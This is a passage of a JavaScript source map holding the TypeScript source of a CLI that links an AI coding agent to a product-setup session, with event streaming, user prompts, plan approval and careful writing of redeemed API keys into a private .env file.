? null\n        : {\n            revision: plan.revision,\n            status: plan.status,\n            ...(plan.feedback !== undefined && { feedback: plan.feedback }),\n          },\n    progress: stepProgress(state),\n    steps: state.steps,\n    inputs: state.inputs,\n    log: state.log.slice(-20),\n    pendingMessages: state.log.filter(\n      (entry) => entry.role === \"user\" && entry.acknowledgedAt === undefined,\n    ),\n  };\n};\n\nconst STEP_STATUSES: readonly Checkout.StepStatus[] = [\n  \"pending\",\n  \"active\",\n  \"done\",\n  \"skipped\",\n  \"blocked\",\n];\n\ntype StreamEvent =\n  | { event: \"planning.started\" }\n  | { event: \"message.created\"; messageId: string; text: string }\n  | {\n      event: \"input.answered\";\n      inputId: string;\n      prompt: string;\n      /** The entries of a multiple choice answer, else the answer text. */\n      answer: string | string[];\n      note?: string;\n      /** True when a choice answer is, or a multiple one contains, the user's own text rather than an option. */\n      custom?: true;\n    }\n  | { event: \"input.dismissed\"; inputId: string; prompt: string }\n  | { event: \"plan.approved\"; revision: number }\n  | { event: \"plan.changes-requested\"; revision: number; feedback: string }\n  | { event: \"finished\"; next: string }\n  | { event: \"cancelled\"; next: string }\n  | { event: \"setup.created\"; products: string[] };\n\nconst STAY_CONNECTED =\n  \"This setup is over, not your connection. Keep the stream running, tell the user you are connected and waiting for their next setup, and run wait start.\";\n\nexport const diffEvents = (\n  before: Checkout.State,\n  after: Checkout.State,\n): StreamEvent[] => {\n  const events: StreamEvent[] = [];\n  if (before.status === \"waiting\" && after.status === \"planning\") {\n    events.push({ event: \"planning.started\" });\n  }\n  for (const entry of after.log) {\n    if (\n      entry.role === \"user\" &&\n      entry.acknowledgedAt === undefined &&\n      !before.log.some((previous) => previous.id === entry.id)\n    ) {\n      events.push({\n        event: \"message.created\",\n        messageId: entry.id,\n        text: entry.text,\n      });\n    }\n  }\n  for (const input of after.inputs) {\n    const previous = before.inputs.find(\n      (candidate) => candidate.id === input.id,\n    );\n    if (previous?.status === input.status) continue;\n    if (input.status === \"answered\") {\n      const answer = input.answer ?? \"\";\n      events.push({\n        event: \"input.answered\",\n        inputId: input.id,\n        prompt: input.prompt,\n        ...answerFields(input, answer),\n      });\n    } else if (input.status === \"dismissed\" && after.status !== \"cancelled\") {\n      events.push({\n        event: \"input.dismissed\",\n        inputId: input.id,\n        prompt: input.prompt,\n      });\n    }\n  }\n  for (const plan of after.plans) {\n    const previous = before.plans.find(\n      (candidate) => candidate.revision === plan.revision,\n    );\n    if (previous?.status === plan.status || plan.status === \"proposed\") {\n      continue;\n    }\n    if (plan.status === \"approved\") {\n      events.push({ event: \"plan.approved\", revision: plan.revision });\n    } else {\n      events.push({\n        event: \"plan.changes-requested\",\n        revision: plan.revision,\n        feedback: plan.feedback ?? \"\",\n      });\n    }\n  }\n  if (before.status !== \"done\" && after.status === \"done\") {\n    events.push({ event: \"finished\", next: STAY_CONNECTED });\n  }\n  if (before.status !== \"cancelled\" && after.status === \"cancelled\") {\n    events.push({ event: \"cancelled\", next: STAY_CONNECTED });\n  }\n  if (after.id !== null && after.id !== before.id) {\n    events.push({\n      event: \"setup.created\",\n      products: after.products.map((product) => product.slug),\n    });\n  }\n  return events;\n};\n\nconst stream = async (client: CheckoutClient) => {\n  let previous = requireState(client);\n  let pending: StreamEvent[] = diffEvents({ ...previous, log: [] }, previous);\n  let timer: ReturnType<typeof setTimeout> | null = null;\n  const flush = () => {\n    timer = null;\n    if (pending.length === 0) return;\n    print(pending);\n    pending = [];\n  };\n  client.subscribe(() => {\n    const next = client.state;\n    if (next === undefined) return;\n    pending.push(...diffEvents(previous, next));\n    previous = next;\n    if (pending.length > 0 && timer === null) timer = setTimeout(flush, 200);\n  });\n  flush();\n  const kind = detectAgentKind();\n  await client.commands[\"agent/hello\"]({\n    cwd: process.cwd(),\n    ...(kind !== undefined && { kind }),\n  });\n  const heartbeat = setInterval(() => {\n    void client.commands[\"agent/heartbeat\"]().catch(() => {});\n  }, AGENT_HEARTBEAT_MS);\n  const stop = () => {\n    clearInterval(heartbeat);\n    flush();\n    void client.commands[\"agent/bye\"]()\n      .catch(() => {})\n      .finally(() => {\n        client.dispose();\n        process.exit(0);\n      });\n  };\n  process.on(\"SIGHUP\", stop);\n  process.on(\"SIGINT\", stop);\n  process.on(\"SIGTERM\", stop);\n  await new Promise(() => {});\n};\n\n/** Resolves once a setup is planning or installing, or once the one being waited on is cancelled; a setup already closed when the wait begins is over, so the wait is for the next one. */\nexport const waitForStart = (\n  client: Pick<CheckoutClient, \"state\" | \"subscribe\">,\n) =>\n  new Promise<Checkout.Status>((resolve) => {\n    let previous: Checkout.Status | undefined;\n    const check = () => {\n      const state = client.state;\n      if (state === undefined) return;\n      const started =\n        state.status === \"planning\" || state.status === \"installing\";\n      const ended = isClosed(state) && previous === \"waiting\";\n      previous = state.status;\n      if (!started && !ended) return;\n      unsubscribe();\n      resolve(state.status);\n    };\n    const unsubscribe = client.subscribe(check);\n    check();\n  });\n\nconst waitForInput = (client: CheckoutClient, inputId: string) =>\n  new Promise<Checkout.Input>((resolve) => {\n    const check = () => {\n      const state = client.state;\n      const input = state?.inputs.find((candidate) => candidate.id === inputId);\n      if (!input) return;\n      if (input.status !== \"open\" || state?.status === \"cancelled\") {\n        unsubscribe();\n        resolve(input);\n      }\n    };\n    const unsubscribe = client.subscribe(check);\n    check();\n  });\n\nconst waitForPlan = (client: CheckoutClient, revision: number) =>\n  new Promise<Checkout.Plan | undefined>((resolve) => {\n    const check = () => {\n      const state = client.state;\n      const plan = state?.plans.find(\n        (candidate) => candidate.revision === revision,\n      );\n      if (\n        plan === undefined ||\n        plan.status !== \"proposed\" ||\n        state?.status === \"cancelled\"\n      ) {\n        unsubscribe();\n        resolve(plan);\n      }\n    };\n    const unsubscribe = client.subscribe(check);\n    check();\n  });\n\nconst decided = (plan: Checkout.Plan | undefined, state: Checkout.State) => {\n  if (state.status === \"cancelled\") return { ok: false, status: \"cancelled\" };\n  if (plan === undefined) return fail(\"the plan disappeared\");\n  return plan.status === \"approved\"\n    ? { ok: true, decision: \"approve\", revision: plan.revision }\n    : {\n        ok: true,\n        decision: \"revise\",\n        revision: plan.revision,\n        feedback: plan.feedback ?? \"\",\n      };\n};\n\nconst splitList = (value: string | undefined) =>\n  value\n    ?.split(\",\")\n    .map((entry) => entry.trim())\n    .filter(Boolean);\n\nexport const askSeed = (\n  rest: readonly string[],\n  flags: Parsed[\"flags\"],\n): Checkout.InputSeed & { stepId?: string } => {\n  const stepId = flagText(flags, \"step\");\n  const optional = flags.has(\"optional\");\n  const fallback = flagText(flags, \"default\");\n  if (flags.has(\"entry-points\")) {\n    if (\n      [\n        \"preset\",\n        \"product\",\n        \"choices\",\n        \"icons\",\n        \"multiple\",\n        \"single\",\n        \"only\",\n        \"placeholder\",\n      ].some((flag) => flags.has(flag))\n    )\n      return fail(\n        \"--entry-points cannot be combined with other input kinds, --multiple, --single or --only\",\n      );\n    const json = flagText(flags, \"entry-points\");\n    let value: unknown;\n    try {\n      value = JSON.parse(json ?? \"\");\n    } catch {\n      return fail(\"--entry-points needs a JSON array of options\");\n    }\n    const options = parseEntryPointOptions(value);\n    if (!options)\n      return fail(\n        \"--entry-points needs 1–3 unique options with id, label, description and entryPoint {formFactor, placement, trigger, recommended?}; at most one is recommended\",\n      );\n    if (\n      fallback !== undefined &&\n      !options.some((option) => option.id === fallback)\n    )\n      return fail(`no option \"${fallback}\" to default to`);\n    const prompt =\n      rest[0] ?? fail(\"usage: ask <prompt> --entry-points '<JSON array>'\");\n    if (prompt.trim() === \"\")\n      return fail(\"an entry-point prompt cannot be empty\");\n    return {\n      kind: \"entry-point\",\n      prompt,\n      options,\n      ...(fallback !== undefined && { default: fallback }),\n      optional,\n      ...(stepId !== undefined && { stepId }),\n    };\n  }\n  const preset = flagText(flags, \"preset\");\n  if (preset !== undefined) {\n    if (!isPresetId(preset)) {\n      return fail(\n        `unknown preset \"${preset}\"; use ${Object.keys(INPUT_PRESETS).join(\" or \")}`,\n      );\n    }\n    const only = splitList(flagText(flags, \"only\"));\n    const found = splitList(flagText(flags, \"choices\"))?.map((entry) => {\n      const [id = \"\", ...description] = entry.split(\"=\");\n      return description.length === 0\n        ? { id }\n        : { id, description: description.join(\"=\") };\n    });\n    try {\n      const seed = presetInput(preset, {\n        ...(only !== undefined && { only }),\n        ...(found !== undefined && { found }),\n        ...(fallback !== undefined && { default: fallback }),\n        optional,\n        ...(stepId !== undefined && { stepId }),\n      });\n      return rest[0] === undefined ? seed : { ...seed, prompt: rest[0] };\n    } catch (error) {\n      return fail(error instanceof Error ? error.message : String(error));\n    }\n  }\n  const prompt = rest[0] ?? fail(\"usage: ask <prompt>\");\n  const product = flagText(flags, \"product\");\n  if (product !== undefined) {\n    return {\n      kind: \"product\",\n      prompt,\n      product,\n      optional,\n      ...(stepId !== undefined && { stepId }),\n    };\n  }\n  const choices = splitList(flagText(flags, \"choices\"));\n  if (choices !== undefined) {\n    if (flags.has(\"single\") && flags.has(\"multiple\"))\n      return fail(\"--single and --multiple exclude each other\");\n    const icons = new Map<string, string>();\n    for (const entry of splitList(flagText(flags, \"icons\")) ?? []) {\n      const [id = \"\", icon = \"\"] = entry.split(\"=\", 2);\n      if (!choices.includes(id))\n        return fail(`no choice \"${id}\" to put an icon on`);\n      if (!isOptionIcon(icon)) {\n        return fail(\n          `unknown icon \"${icon}\"; pick one of ${OPTION_ICONS.join(\", \")}`,\n        );\n      }\n      icons.set(id, icon);\n    }\n    const missing = choices.filter((id) => !icons.has(id));\n    if (missing.length > 0) {\n      return fail(\n        `every option needs an icon; ${missing.map((id) => `\"${id}\"`).join(\", \")} ${missing.length === 1 ? \"has\" : \"have\"} none. Pass --icons \"${choices.map((id) => `${id}=<icon>`).join(\",\")}\" with icons from: ${OPTION_ICONS.join(\", \")}`,\n      );\n    }\n    return {\n      kind: \"choice\",\n      prompt,\n      options: choices.map((id) => ({ id, label: id, icon: icons.get(id)! })),\n      ...(!flags.has(\"single\") && { multiple: true }),\n      ...(fallback !== undefined && { default: fallback }),\n      optional,\n      ...(stepId !== undefined && { stepId }),\n    };\n  }\n  const placeholder = flagText(flags, \"placeholder\");\n  return {\n    prompt,\n    ...(placeholder !== undefined && { placeholder }),\n    optional,\n    ...(stepId !== undefined && { stepId }),\n  };\n};\n\nconst assertEnvKey = (key: string) => {\n  if (!/^[A-Za-z_][A-Za-z0-9_]*$/.test(key)) {\n    throw new Error(`\"${key}\" is not an environment variable name`);\n  }\n};\n\n/** Sets `key=value` in dotenv text, replacing an existing line for the key. */\nexport const upsertEnvLine = (content: string, key: string, value: string) => {\n  assertEnvKey(key);\n  const line = `${key}=${value}`;\n  const lines = content === \"\" ? [] : content.replace(/\\n$/, \"\").split(\"\\n\");\n  const index = lines.findIndex(\n    (entry) =>\n      /^(?:export\\s+)?([A-Za-z_][A-Za-z0-9_]*)\\s*=/.exec(entry)?.[1] === key,\n  );\n  if (index === -1) lines.push(line);\n  else lines[index] = line;\n  return `${lines.join(\"\\n\")}\\n`;\n};\n\n/**\n * Write the secret `take` returns to `file` under `key`, leaving the file\n * owner-only. The file is opened before `take` runs, because taking the\n * secret consumes it and an unwritable destination must fail while it is\n * still deposited; it is read after, so lines written meanwhile survive.\n */\nexport const writeEnvSecret = async (\n  file: string,\n  key: string,\n  take: () => Promise<string>,\n  projectRoot = process.cwd(),\n) => {\n  assertEnvKey(key);\n  try {\n    if ((await lstat(file)).isSymbolicLink()) {\n      throw new Error(\n        `${file} is a symbolic link; pass --file with its target to write there`,\n      );\n    }\n  } catch (error) {\n    if ((error as NodeJS.ErrnoException).code !== \"ENOENT\") throw error;\n  }\n  const projectRelative = relative(projectRoot, file);\n  if (\n    projectRelative !== \"..\" &&\n    !projectRelative.startsWith(`..${sep}`) &&\n    !isAbsolute(projectRelative)\n  ) {\n    const root = await realpath(projectRoot);\n    const parent = await realpath(dirname(file));\n    const parentRelative = relative(root, parent);\n    if (\n      parentRelative === \"..\" ||\n      parentRelative.startsWith(`..${sep}`) ||\n      isAbsolute(parentRelative)\n    ) {\n      throw new Error(`${file} has a parent directory outside the project`);\n    }\n  }\n  const handle = await open(\n    file,\n    constants.O_RDWR |\n      constants.O_APPEND |\n      constants.O_CREAT |\n      constants.O_NOFOLLOW,\n    0o600,\n  ).catch((error: NodeJS.ErrnoException) => {\n    if (error.code === \"ELOOP\")\n      throw new Error(\n        `${file} is a symbolic link; pass --file with its target to write there`,\n      );\n    throw error;\n  });\n  try {\n    await handle.chmod(0o600);\n    const value = await take();\n    const current = await handle.readFile(\"utf8\");\n    await handle.truncate(0);\n    await handle.writeFile(upsertEnvLine(current, key, value));\n  } finally {\n    await handle.close();\n  }\n};\n\nconst redeemKeyDirectories = () => {\n  const stateHome =\n    process.platform === \"win32\"\n      ? process.env.LOCALAPPDATA || join(homedir(), \"AppData\", \"Local\")\n      : process.env.XDG_STATE_HOME || join(homedir(), \".local\", \"state\");\n  return [\n    join(stateHome, \"setup-agent\"),\n    join(\n      tmpdir(),\n      `setup-agent-${process.platform === \"win32\" ? userInfo().username : process.getuid!()}`,\n    ),\n  ];\n};\n\nconst checkRedeemKeyDirectory = async (directory: string) => {\n  if (!isAbsolute(directory)) {\n    throw new Error(\"state home must be an absolute path\");\n  }\n  const info = await lstat(directory);\n  if (!info.isDirectory() || info.isSymbolicLink()) {\n    throw new Error(\n      `redeem key directory must not be a symbolic link: ${directory}`,\n    );\n  }\n  if (process.platform !== \"win32\") {\n    if (info.uid !== process.getuid!()) {\n      throw new Error(\n        `redeem key directory must be owned by the user: ${directory}`,\n      );\n    }\n    if ((info.mode & 0o077) !== 0) await chmod(directory, 0o700);\n  }\n};\n\nconst prepareRedeemKeyDirectory = async (directory: string) => {\n  if (isAbsolute(directory)) {\n    await mkdir(directory, { recursive: true, mode: 0o700 });\n  }\n  await checkRedeemKeyDirectory(directory);\n};\n\nconst saveRedeemKey = async (hash: string, key: string) => {\n  let lastError: unknown;\n  for (const directory of redeemKeyDirectories()) {\n    const file = join(directory, `${hash}.key`);\n    let created = false;\n    try {\n      await prepareRedeemKeyDirectory(directory);\n      const handle = await open(\n        file,\n        constants.O_WRONLY |\n          constants.O_CREAT |\n          constants.O_EXCL |\n          constants.O_NOFOLLOW,\n        0o600,\n      );\n      created = true;\n      try {\n        await handle.writeFile(key);\n      } finally {\n        await handle.close();\n      }\n      return file;\n    } catch (error) {\n      if (created) await unlink(file).catch(() => {});\n      lastError = error;\n    }\n  }\n  throw lastError;\n};\n\nconst readRedeemKey = async (hash: string) => {\n  if (!/^[0-9a-f]{64}$/.test(hash)) return undefined;\n  for (const directory of redeemKeyDirectories()) {\n    try {\n      await checkRedeemKeyDirectory(directory);\n      const file = join(directory, `${hash}.key`);\n      const handle = await open(\n        file,\n        constants.O_RDONLY | constants.O_NOFOLLOW,\n      );\n      try {\n        const info = await handle.stat();\n        if (\n          !info.isFile() ||\n          (process.platform !== \"win32\" && (info.mode & 0o077) !== 0)\n        ) {\n          throw new Error(\"redeem key file must be private and regular\");\n        }\n        const key = await handle.readFile(\"utf8\");\n        if (createHash(\"sha256\").update(key).digest(\"hex\") === hash) {\n          return { key, file };\n        }\n      } finally {\n        await handle.close();\n      }\n    } catch {\n      continue;\n    }\n  }\n  return undefined;\n};\n\nconst answerFields = (input: Checkout.Input, answer: string) => ({\n  answer: (input.multiple && parseMultipleAnswer(answer)) || answer,\n  ...(input.note !== undefined && { note: input.note }),\n  ...(input.kind === \"choice\" &&\n    classifyChoiceAnswer(input, answer) === \"custom\" && {\n      custom: true as const,\n    }),\n});\n\nconst answered = (input: Checkout.Input) => ({\n  ok: true,\n  inputId: input.id,\n  status: input.status,\n  ...(input.answer !== undefined && answerFields(input, input.answer)),\n});\n\nexport const main = async (argv: readonly string[]) => {\n  const { positional, flags } = parseArgs(argv);\n  const [first, command = \"intro\", ...rest] = positional;\n  if (flags.has(\"help\") || flags.has(\"h\") || first === undefined) {\n    process.stdout.write(HELP);\n    return process.exit(first === undefined ? 1 : 0);\n  }\n  const url = first;\n  if (command === \"intro\" && isDirectInvocation()) return launchAgent(url);\n\n  const client = await connectCheckout(url).catch((error: unknown) =>\n    fail(error instanceof Error ? error.message : String(error)),\n  );\n  const commands = client.commands;\n\n  try {\n    switch (command) {\n      case \"intro\": {\n        const kind = detectAgentKind();\n        await commands[\"agent/intro\"]({\n          ...(kind !== undefined && { kind }),\n        }).catch(() => {});\n        process.stdout.write(INSTRUCTIONS(url));\n        process.stdout.write(\"\\nCurrent setup:\\n\");\n        print(summary(requireState(client)));\n        break;\n      }\n      case \"status\": {\n        print(summary(requireState(client)));\n        break;\n      }\n      case \"stream\": {\n        await stream(client);\n        break;\n      }\n      case \"step\": {\n        const usage =\n          \"usage: step <step-id> <pending|active|done|skipped|blocked>\";\n        const stepId = rest[0] ?? fail(usage);\n        const status = rest[1];\n        if (!STEP_STATUSES.includes(status as Checkout.StepStatus)) fail(usage);\n        const note = flagText(flags, \"note\");\n        await commands[\"agent/step\"]({\n          stepId,\n          status: status as Checkout.StepStatus,\n          ...(note !== undefined && { note }),\n        });\n        print({ ok: true, stepId, status });\n        break;\n      }\n      case \"add-step\": {\n        const title = rest[0] ?? fail(\"usage: add-step <title>\");\n        const detail = flagText(flags, \"detail\");\n        const product = flagText(flags, \"product\");\n        const result = await commands[\"agent/add-step\"]({\n          title,\n          ...(detail !== undefined && { detail }),\n          ...(product !== undefined && { product }),\n          ...(flags.has(\"active\") && { active: true }),\n        });\n        print({ ok: true, ...result });\n        break;\n      }\n      case \"plan\": {\n        const file = flagText(flags, \"file\");\n        const markdown =\n          file !== undefined\n            ? await readFile(resolve(file), \"utf8\").catch(() =>\n                fail(`could not read ${file}`),\n              )\n            : (rest[0] ?? fail(\"usage: plan <markdown> | plan --file <path>\"));\n        const { revision } = await commands[\"agent/plan\"]({ markdown });\n        if (!flags.has(\"wait\")) {\n          print({ ok: true, revision });\n          break;\n        }\n        const plan = await waitForPlan(client, revision);\n        print(decided(plan, requireState(client)));\n        break;\n      }\n      case \"ask\": {\n        const seed = askSeed(rest, flags);\n        const redeemKey =\n          seed.kind === \"model\" ? randomBytes(32).toString(\"hex\") : undefined;\n        const redeemKeyHash =\n          redeemKey === undefined\n            ? undefined\n            : createHash(\"sha256\").update(redeemKey).digest(\"hex\");\n        const keyFile =\n          redeemKey === undefined || redeemKeyHash === undefined\n            ? undefined\n            : await saveRedeemKey(redeemKeyHash, redeemKey).catch(\n                (error: unknown) =>\n                  fail(\n                    `could not store the model redeem key: ${error instanceof Error ? error.message : String(error)}`,\n                  ),\n              );\n        let inputId: string;\n        try {\n          ({ inputId } = await commands[\"agent/ask\"]({\n            ...seed,\n            ...(redeemKeyHash !== undefined && { redeemKeyHash }),\n          }));\n        } catch (error) {\n          if (keyFile !== undefined) await unlink(keyFile).catch(() => {});\n          throw error;\n        }\n        if (!flags.has(\"wait\")) {\n          print({ ok: true, inputId });\n          break;\n        }\n        print(await waitForInput(client, inputId).then(answered));\n        break;\n      }\n      case \"wait\": {\n        const target =\n          rest[0] ?? fail(\"usage: wait start | wait <input-id> | wait plan\");\n        const state = requireState(client);\n        if (target === \"start\") {\n          const status = await waitForStart(client);\n          print({\n            ok: status === \"planning\" || status === \"installing\",\n            status,\n          });\n          break;\n        }\n        if (target === \"plan\") {\n          const plan = currentPlan(state) ?? fail(\"no plan has been proposed\");\n          print(\n            decided(\n              await waitForPlan(client, plan.revision),\n              requireState(client),\n            ),\n          );\n          break;\n        }\n        if (!state.inputs.some((input) => input.id === target)) {\n          fail(`no input \"${target}\"`);\n        }\n        print(await waitForInput(client, target).then(answered));\n        break;\n      }\n      case \"env\": {\n        const usage = \"usage: env <input-id> <ENV_VAR> [--file <path>]\";\n        const inputId = rest[0] ?? fail(usage);\n        const envKey = rest[1] ?? fail(usage);\n        if (!/^[A-Za-z_][A-Za-z0-9_]*$/.test(envKey)) {\n          fail(`\"${envKey}\" is not an environment variable name`);\n        }\n        const state = requireState(client);\n        const input =\n          state.inputs.find((candidate) => candidate.id === inputId) ??\n          fail(`no input \"${inputId}\"`);\n        const setupId = state.id ?? fail(\"the setup has not been created yet\");\n        if (isClosed(state)) {\n          fail(\"the setup is not open\");\n        }\n        if (input.status !== \"answered\") {\n          fail(`input \"${inputId}\" is ${input.status}`);\n        }\n        if (\n          input.kind !== \"model\" ||\n          !isValidModelAnswer(input, input.answer ?? \"\")\n        ) {\n          fail(`input \"${inputId}\" is not an llm-provider answer`);\n        }\n        const storedKey =\n          input.redeemKeyHash === undefined\n            ? undefined\n            : await readRedeemKey(input.redeemKeyHash);\n        if (input.redeemKeyHash !== undefined && storedKey === undefined) {\n          fail(`no local redeem key for \"${inputId}\"`);\n        }\n        const file = resolve(flagText(flags, \"file\") ?? \".env.local\");\n        await writeEnvSecret(file, envKey, async () => {\n          const response = await fetch(\n            `${url.replace(/\\/$/, \"\")}/secret/${encodeURIComponent(inputId)}?setup=${encodeURIComponent(setupId)}`,\n            storedKey === undefined\n              ? undefined\n              : { headers: { \"Setup-Agent-Redeem-Key\": storedKey.key } },\n          );\n          if (response.status === 403) {\n            fail(`redeem key rejected for \"${inputId}\"`);\n          }\n          if (response.status === 404) {\n            fail(\n              `the key for \"${inputId}\" was already taken or never deposited`,\n            );\n          }\n          if (!response.ok) fail(`could not fetch the key: ${response.status}`);\n          return response.text();\n        });\n        if (storedKey !== undefined) {\n          await unlink(storedKey.file).catch((error: NodeJS.ErrnoException) => {\n            if (error.code !== \"ENOENT\") {\n              process.stderr.write(\n                `warning: could not remove a redeem key: ${error.message}\\n`,\n              );\n            }\n          });\n        }\n        print({ ok: true, envKey, file });\n        break;\n      }\n      case \"ack\": {\n        const messageId = rest[0] ?? fail(\"usage: ack <message-id>\");\n        await commands[\"agent/ack\"]({ messageId });\n        print({ ok: true });\n        break;\n      }\n      case \"log\": {\n        const text = rest[0] ?? fail(\"usage: log <text>\");\n        await commands[\"agent/log\"]({ text });\n        print({ ok: true });\n        break;\n      }\n      case \"done\": {\n        const summary = flagText(flags, \"summary\");\n        const preview = flagText(flags, \"preview\");\n        await commands[\"agent/done\"]({\n          ...(summary !== undefined && { summary }),\n          ...(preview !== undefined && { preview }),\n        });\n        print({\n          ok: true,\n          status: \"proposed\",\n          next: \"Keep the stream running and stay idle. The user closes the setup or sends a follow-up message.\",\n        });\n        break;\n      }\n      default:\n        fail(`unknown command \"${command}\"\\n\\n${HELP}`);\n    }\n  } catch (error) {\n    fail(error instanceof Error ? error.message : String(error));\n  } finally {\n    client.dispose();\n  }\n};\n"],"mappings":";;;;;;;;;;;AAiCA,MAAa,OAAO;;;;;;;;;;;;;;;;oGAgBgF,aAAa,KAAK,IAAI,EAAE;;;;;;;;;;;;;;;;;AAkB5H,MAAa,qBACX,QACG;;;oBAGe,IAAI;;;qJAG6H,IAAI;;;;;oBAKrI,IAAI;;;;;;oBAMJ,IAAI;;oBAEJ,IAAI;oBACJ,IAAI;;;oBAGJ,IAAI;;;;oBAIJ,IAAI;;;;oBAIJ,IAAI;s3BAC81B,aAAa,KAAK,IAAI,EAAE;;oBAE13B,IAAI;;;;oBAIJ,IAAI;;oBAEJ,IAAI;;;AAIxB,MAAa,eAAe;AAI5B,MAAM,aAAa,SAAoC;CACrD,MAAM,aAAuB,CAAC;CAC9B,MAAM,wBAAQ,IAAI,IAA2B;CAC7C,KAAK,IAAI,IAAI,GAAG,IAAI,KAAK,QAAQ,KAAK;EACpC,MAAM,MAAM,KAAK;EACjB,IAAI,CAAC,IAAI,WAAW,IAAI,GAAG;GACzB,WAAW,KAAK,GAAG;GACnB;EACF;EACA,MAAM,OAAO,IAAI,MAAM,CAAC;EACxB,MAAM,OAAO,KAAK,IAAI;EACtB,IAAI,SAAS,KAAA,KAAa,CAAC,KAAK,WAAW,IAAI,GAAG;GAChD,MAAM,IAAI,MAAM,IAAI;GACpB;EACF,OACE,MAAM,IAAI,MAAM,IAAI;CAExB;CACA,OAAO;EAAE;EAAY;CAAM;AAC7B;AAEA,MAAM,YAAY,OAAwB,SAAiB;CACzD,MAAM,QAAQ,MAAM,IAAI,IAAI;CAC5B,OAAO,OAAO,UAAU,WAAW,QAAQ,KAAA;AAC7C;AAEA,MAAM,QAAQ,YAA2B;CACvC,QAAQ,OAAO,MAAM,gBAAgB,QAAQ,GAAG;CAChD,OAAO,QAAQ,KAAK,CAAC;AACvB;AAEA,MAAM,SAAS,UAAmB;CAChC,QAAQ,OAAO,MAAM,GAAG,KAAK,UAAU,KAAK,EAAE,GAAG;AACnD;AAEA,MAAM,YAAyD;CAC7D,CAAC,UAAU,YAAY;CACvB,CAAC,SAAS,eAAe;CACzB,CAAC,SAAS,gCAAgC;CAC1C,CAAC,UAAU,cAAc;CACzB,CAAC,UAAU,YAAY;AACzB;;AAGA,MAAa,mBAAmB,MAAyB,QAAQ,QAC/D,UAAU,MAAM,GAAG,cAAc,IAAI,SAAS,CAAC,GAAG;AAUpD,MAAM,YAAwB;CAC5B;EACE,MAAM;EACN,MAAM;EACN,SAAS;EACT,OAAO,WAAW,CAAC,MAAM;EACzB,SAAS;CACX;CACA;EACE,MAAM;EACN,MAAM;EACN,SAAS;EACT,OAAO,WAAW,CAAC,MAAM;EACzB,SAAS;CACX;CACA;EACE,MAAM;EACN,MAAM;EACN,SAAS;EACT,OAAO,WAAW,CAAC,MAAM;EACzB,SAAS;CACX;CACA;EACE,MAAM;EACN,MAAM;EACN,SAAS;EACT,OAAO,WAAW,CAAC,MAAM,MAAM;EAC/B,SAAS;CACX;AACF;;AAGA,MAAa,sBACX,MAAyB,QAAQ,KACjC,QAAyC,QAAQ,OACjD,SAA0C,QAAQ,WAElD,gBAAgB,GAAG,MAAM,KAAA,KACzB,MAAM,UAAU,QAChB,OAAO,UAAU;AAEnB,MAAM,iBAAiB,YAAY;CACjC,MAAM,KAAK,gBAAgB;EAAE,OAAO,QAAQ;EAAO,QAAQ,QAAQ;CAAO,CAAC;CAC3E,IAAI;EACF,QAAQ,OAAO,MACb,qGACF;EACA,UAAU,SAAS,UAAU,UAAU;GACrC,QAAQ,OAAO,MAAM,KAAK,QAAQ,EAAE,IAAI,SAAS,KAAK,GAAG;EAC3D,CAAC;EACD,OAAO,MAAM;GACX,MAAM,UACJ,MAAM,GAAG,SAAS,cAAc,CAAC,CAAC,YAAY,QAAQ,KAAK,CAAC,CAAC,EAAA,CAC7D,KAAK;GACP,IAAI,WAAW,IAAI,OAAO,UAAU;GACpC,MAAM,WAAW,UAAU,OAAO,MAAM,IAAI;GAC5C,IAAI,UAAU,OAAO;GACrB,MAAM,SAAS,UAAU,MACtB,aACC,SAAS,SAAS,OAAO,YAAY,KACrC,SAAS,KAAK,YAAY,MAAM,OAAO,YAAY,CACvD;GACA,IAAI,QAAQ,OAAO;GACnB,QAAQ,OAAO,MAAM,iCAAiC;EACxD;CACF,UAAU;EACR,GAAG,MAAM;CACX;AACF;AAEA,MAAM,cAAc,OAAO,QAAgB;CACzC,MAAM,WAAW,MAAM,eAAe;CACtC,MAAM,SAAS,yBAAyB,IAAI;CAC5C,QAAQ,OAAO,MAAM,cAAc,SAAS,KAAK,QAAQ;CACzD,MAAM,QAAQ,MAAM,SAAS,SAAS,SAAS,KAAK,MAAM,GAAG,EAC3D,OAAO,UACT,CAAC;CACD,MAAM,OAAO,MAAM,IAAI,SAAiB,YAAY;EAClD,MAAM,GAAG,UAAU,UAAiC;GAClD,IAAI,MAAM,SAAS,UACjB,QAAQ,OAAO,MACb,GAAG,SAAS,KAAK,yCAAyC,SAAS,QAAQ,iCAC7E;QAEA,QAAQ,OAAO,MAAM,GAAG,MAAM,QAAQ,GAAG;GAE3C,QAAQ,CAAC;EACX,CAAC;EACD,MAAM,GAAG,SAAS,WAAW,QAAQ,UAAU,CAAC,CAAC;CACnD,CAAC;CACD,QAAQ,KAAK,IAAI;AACnB;AAEA,MAAM,gBAAgB,WACpB,OAAO,SAAS,KAAK,wBAAwB;AAE/C,MAAM,WAAW,UAA0B;CACzC,MAAM,OAAO,YAAY,KAAK;CAC9B,OAAO;EACL,QAAQ,MAAM;EACd,gBAAgB,eAAe,KAAK;EACpC,UAAU,MAAM;EAChB,cAAc,MAAM;EACpB,MACE,SAAS,KAAA,IACL,OACA;GACE,UAAU,KAAK;GACf,QAAQ,KAAK;GACb,GAAI,KAAK,aAAa,KAAA,KAAa,EAAE,UAAU,KAAK,SAAS;EAC/D;EACN,UAAU,aAAa,KAAK;EAC5B,OAAO,MAAM;EACb,QAAQ,MAAM;EACd,KAAK,MAAM,IAAI,MAAM,GAAG;EACxB,iBAAiB,MAAM,IAAI,QACxB,UAAU,MAAM,SAAS,UAAU,MAAM,mBAAmB,KAAA,CAC/D;CACF;AACF;AAEA,MAAM,gBAAgD;CACpD;CACA;CACA;CACA;CACA;AACF;AAsBA,MAAM,iBACJ;AAEF,MAAa,cACX,QACA,UACkB;CAClB,MAAM,SAAwB,CAAC;CAC/B,IAAI,OAAO,WAAW,aAAa,MAAM,WAAW,YAClD,OAAO,KAAK,EAAE,OAAO,mBAAmB,CAAC;CAE3C,KAAK,MAAM,SAAS,MAAM,KACxB,IACE,MAAM,SAAS,UACf,MAAM,mBAAmB,KAAA,KACzB,CAAC,OAAO,IAAI,MAAM,aAAa,SAAS,OAAO,MAAM,EAAE,GAEvD,OAAO,KAAK;EACV,OAAO;EACP,WAAW,MAAM;EACjB,MAAM,MAAM;CACd,CAAC;CAGL,KAAK,MAAM,SAAS,MAAM,QAAQ;EAIhC,IAHiB,OAAO,OAAO,MAC5B,cAAc,UAAU,OAAO,MAAM,EAE7B,CAAC,EAAE,WAAW,MAAM,QAAQ;EACvC,IAAI,MAAM,WAAW,YAAY;GAC/B,MAAM,SAAS,MAAM,UA